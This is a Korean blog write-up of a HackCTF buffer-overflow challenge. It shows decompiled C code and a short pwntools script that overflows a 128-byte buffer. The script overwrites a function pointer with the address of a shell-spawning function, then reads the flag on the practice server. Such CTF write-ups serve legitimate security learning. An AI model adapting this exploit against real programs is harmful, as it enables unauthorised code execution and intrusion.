int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-8Ch]
  void (*v5)(void); // [esp+8Ch] [ebp-Ch]

  v5 = (void (*)(void))sup;
  fgets(&s, 133, stdin);
  v5();
  return 0;
}
int shell()
{
  return system("/bin/dash");
}

v5라는 함수 포인터를 호출하고 있기 때문에 s를 버퍼 오버플로우 내서 v5의 주소값을 쉘을 실행시키는 shell 함수의 주소값으로 바꾸면 될거 같다.

0x8C - 0xC = 0x80 = 128

 

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3001)

payload = b""
payload += b"A" * 128
payload += p32(0x0804849b)

r.sendline(payload)
r.sendline("cat flag")

r.interactive()

128 바이트를 A로 덮어씌우고 그 다음에 v5 부분을 shell 함수의 주소로 바꿨다.

그러면 shell 함수가 실행되게 될 것이고, cat flag 를 하면 플래그가 보일것이다.

728x90

'해킹 > writeup' 카테고리의 다른 글

6. DreamHack - basic_exploitation_000  (0) 2021.07.11
5. HackCTF - Simple_Overflow_ver_2  (0) 2021.07.11
4. HackCTF - x64 Buffer Overflow  (0) 2021.06.16
2. HackCTF - Basic_BOF #1  (0) 2021.06.16
1. DreamHack - basic_exploitation_001  (0) 2021.06.16

+ Recent posts